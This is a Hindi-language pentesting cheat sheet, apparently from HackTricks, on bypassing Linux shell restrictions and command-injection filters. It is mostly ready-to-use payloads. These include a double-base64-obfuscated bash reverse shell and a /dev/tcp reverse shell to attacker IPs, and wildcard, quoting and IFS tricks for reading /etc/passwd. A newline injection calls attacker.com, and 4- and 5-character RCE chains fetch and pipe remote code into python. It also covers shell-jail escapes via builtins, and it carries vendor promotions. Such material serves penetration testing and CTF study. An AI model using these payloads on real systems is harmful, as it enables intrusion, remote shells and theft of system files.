Trickest का उपयोग करें ताकि आप दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित वर्कफ़्लो को आसानी से बना और स्वचालित कर सकें।
आज ही एक्सेस प्राप्त करें:
सामान्य सीमाओं के बायपास
रिवर्स शेल
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the timeecho"echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' |base64|base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h"|sed's/ /${IFS}/g'# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
शॉर्ट रेव शेल
#Trick from Dikline#Get a rev shell with(sh)0>/dev/tcp/10.10.10.10/443#Then get the out of the rev shell executing inside of it:exec>&0
पथों और निषिद्ध शब्दों को बायपास करें
# Question mark binary substitution/usr/bin/p?ng# /usr/bin/pingnma?-p80localhost# /usr/bin/nmap -p 80 localhost# Wildcard(*) binary substitution/usr/bin/who*mi# /usr/bin/whoami# Wildcard + local directory argumentstouch---la# -- stops processing options after the --ls*echo*#List current files and folders with echo and wildcard# [chars]/usr/bin/n[c]# /usr/bin/nc# Quotes'p'i'n'g# ping"w"h"o"a"m"i# whoamiech''otest# echo testech""otest# echo testbas''e64# base64#Backslashes\u\n\a\m\e \-\a # uname -a/\b\i\n/////s\h# $@who$@ami#whoami# Transformations (case, reverse, base64)$(tr"[A-Z]""[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case$(a="WhOaMi";printf%s"${a,,}") #whoami -> transformation (only bash)$(rev<<<'imaohw') #whoamibash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64# Execution through $0echowhoami|$0# Uninitialized variables: A uninitialized variable equals to null (nothing)cat$u/etc$u/passwd$u # Use the uninitialized variable without {} before any symbolp${u}i${u}n${u}g# Equals to ping, use {} to put the uninitialized variables between valid characters# New linesp\i\n\g # These 4 lines will equal to ping# Fake commandsp$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shownw`u`h`u`o`u`a`u`m`u`i# Equals to whoami but 5 errors trying to execute "u" are shown# Concatenation of strings using history!-1# This will be substitute by the last command executed, and !-2 by the penultimate commandmi# This will throw an errorwhoa# This will throw an error!-1!-2# This will execute whoami
प्रतिबंधित स्थानों को बायपास करें
# {form}{cat,lol.txt} # cat lol.txt{echo,test} # echo test# IFS - Internal field separator, change " " for any other character ("]" in this case)cat${IFS}/etc/passwd# cat /etc/passwdcat$IFS/etc/passwd# cat /etc/passwd# Put the command line in a variable and then execute itIFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$bIFS=];b=cat]/etc/passwd;$b # Using 2 ";"IFS=,;`cat<<<cat,/etc/passwd`# Using cat twice# Other way, just change each space for ${IFS}echo${IFS}test# Using hex formatX=$'cat\x20/etc/passwd'&&$X# Using tabsecho"ls\x09-l"|bash# Undefined variables and !$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefineduname!-1\-a# This equals to uname -a
आप उदाहरण के लिए burpcollab या pingb का उपयोग कर सकते हैं।
बिल्टइन्स
यदि आप बाहरी फ़ंक्शंस को निष्पादित नहीं कर सकते हैं और केवल RCE प्राप्त करने के लिए सीमित सेट के बिल्टइन्स तक पहुंच है, तो इसे करने के लिए कुछ उपयोगी तरकीबें हैं। आमतौर पर आप सभीबिल्टइन्स का उपयोग नहीं कर पाएंगे, इसलिए आपको अपने सभी विकल्पों के बारे में जानना चाहिए ताकि आप जेल को बायपास करने की कोशिश कर सकें। devploit से विचार।
सबसे पहले सभी शेल बिल्टइन्स** की जांच करें।** फिर यहां आपके लिए कुछ सिफारिशें हैं:
# Get list of builtinsdeclare builtins# In these cases PATH won't be set, so you can try to set itPATH="/bin"/bin/lsexport PATH="/bin"declare PATH="/bin"SHELL=/bin/bash# Hex$(echo-e"\x2f\x62\x69\x6e\x2f\x6c\x73")$(echo-e"\x2f\x62\x69\x6e\x2f\x6c\x73")# Inputreadaaa; exec $aaa #Read more commands to execute and execute themreadaaa; eval $aaa# Get "/" char using printf and env varsprintf%.1s"$PWD"## Execute /bin/ls$(printf%.1s"$PWD")bin$(printf%.1s"$PWD")ls## To get several letters you can use a combination of printf anddeclaredeclare functionsdeclare historywords# Read flag in current dirsourcef*flag.txt:1:commandnotfound:CTF{asdasdasd}# Read file with readwhileread-rline; doecho $line; done< /etc/passwd# Get env variablesdeclare# Get historyhistorydeclare historydeclare historywords# Disable special builtins chars so you can abuse them as scripts[ #[: ']' expected## Disable "[" as builtin and enable it as scriptenable -n [echo -e'#!/bin/bash\necho "hello!"'> /tmp/[chmod +x [export PATH=/tmp:$PATHif [ "a" ]; then echo 1; fi# Will print hello!
# A regex that only allow letters and numbers might be vulnerable to new line characters1%0a`curlhttp://attacker.com`
Bashfuscator
# From https://github.com/Bashfuscator/Bashfuscator./bashfuscator-c'cat /etc/passwd'
RCE के साथ 5 अक्षर
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge#Oragnge Tsai solution## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration datehttp://host/?cmd=>ls\http://host/?cmd=ls>_http://host/?cmd=>\ \http://host/?cmd=>-t\http://host/?cmd=>\>ghttp://host/?cmd=ls>>_## Step2: generate `curl orange.tw|python` to file "g"## by creating the necesary filenames and writting that content to file "g" executing the previous generated filehttp://host/?cmd=>onhttp://host/?cmd=>th\http://host/?cmd=>py\http://host/?cmd=>\|\http://host/?cmd=>tw\http://host/?cmd=>e.\http://host/?cmd=>ng\http://host/?cmd=>ra\http://host/?cmd=>o\http://host/?cmd=>\ \http://host/?cmd=>rl\http://host/?cmd=>cu\http://host/?cmd=sh _# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file## Finally execute the file "g"http://host/?cmd=shg# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/## Execute tar command over a folderhttp://52.199.204.34/?cmd=>tarhttp://52.199.204.34/?cmd=>zcfhttp://52.199.204.34/?cmd=>zzzhttp://52.199.204.34/?cmd=*%20/h*# Another curiosity if you can read files of the current folderln/f*## If there is a file /flag.txt that will create a hard link## to it in the current folder
4 अक्षरों के साथ RCE
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands# it will follow the same principle of creating the command `ls -t>g` in a file# and then generate the full command in filenames# generate "g> ht- sl" to file "v"'>dir''>sl''>g\>''>ht-''*>v'# reverse file "v" to file "x", content "ls -th >g"'>rev''*v>x'# generate "curl orange.tw|python;"'>\;\\''>on\\''>th\\''>py\\''>\|\\''>tw\\''>e.\\''>ng\\''>ra\\''>o\\''>\ \\''>rl\\''>cu\\'# got shell'sh x''sh g'
Read-Only/Noexec/Distroless Bypass
यदि आप एक फ़ाइल सिस्टम के अंदर हैं जिसमें पढ़ने के लिए केवल और noexec सुरक्षा है या यहां तक कि एक distroless कंटेनर में, फिर भी मनमाने बाइनरी को निष्पादित करने के तरीके हैं, यहां तक कि एक शेल!:
Trickest का उपयोग करें ताकि आप आसानी से वर्कफ़्लो बना और स्वचालित कर सकें जो दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित हैं।
आज ही एक्सेस प्राप्त करें:
HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training GCP Red Team Expert (GRTE)
